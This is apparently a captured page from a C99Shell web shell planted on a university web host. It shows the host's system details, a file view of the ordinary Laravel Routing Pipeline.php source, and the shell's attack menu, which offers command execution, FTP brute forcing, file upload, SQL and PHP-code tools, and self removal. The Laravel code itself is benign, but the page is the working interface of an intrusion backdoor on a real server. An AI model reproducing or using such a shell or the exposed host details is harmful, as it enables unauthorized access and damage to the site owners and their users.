!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Routing/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Pipeline.php (2.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Routing;

use 
Closure;
use 
Throwable;
use 
Exception;
use 
Illuminate\Http\Request;
use 
Illuminate\Contracts\Debug\ExceptionHandler;
use 
Illuminate\Pipeline\Pipeline as BasePipeline;
use 
Symfony\Component\Debug\Exception\FatalThrowableError;

/**
 * This extended pipeline catches any exceptions that occur during each slice.
 *
 * The exceptions are converted to HTTP responses for proper middleware handling.
 */
class Pipeline extends BasePipeline
{
    
/**
     * Get a Closure that represents a slice of the application onion.
     *
     * @return \Closure
     */
    
protected function getSlice()
    {
        return function (
$stack$pipe) {
            return function (
$passable) use ($stack$pipe) {
                try {
                    
$slice parent::getSlice();

                    return 
call_user_func($slice($stack$pipe), $passable);
                } catch (
Exception $e) {
                    return 
$this->handleException($passable$e);
                } catch (
Throwable $e) {
                    return 
$this->handleException($passable, new FatalThrowableError($e));
                }
            };
        };
    }

    
/**
     * Get the initial slice to begin the stack call.
     *
     * @param  \Closure  $destination
     * @return \Closure
     */
    
protected function getInitialSlice(Closure $destination)
    {
        return function (
$passable) use ($destination) {
            try {
                return 
call_user_func($destination$passable);
            } catch (
Exception $e) {
                return 
$this->handleException($passable$e);
            } catch (
Throwable $e) {
                return 
$this->handleException($passable, new FatalThrowableError($e));
            }
        };
    }

    
/**
     * Handle the given exception.
     *
     * @param  mixed  $passable
     * @param  \Exception  $e
     * @return mixed
     *
     * @throws \Exception
     */
    
protected function handleException($passableException $e)
    {
        if (! 
$this->container->bound(ExceptionHandler::class) || ! $passable instanceof Request) {
            throw 
$e;
        }

        
$handler $this->container->make(ExceptionHandler::class);

        
$handler->report($e);

        
$response $handler->render($passable$e);

        if (
method_exists($response'withException')) {
            
$response->withException($e);
        }

        return 
$response;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0117 ]--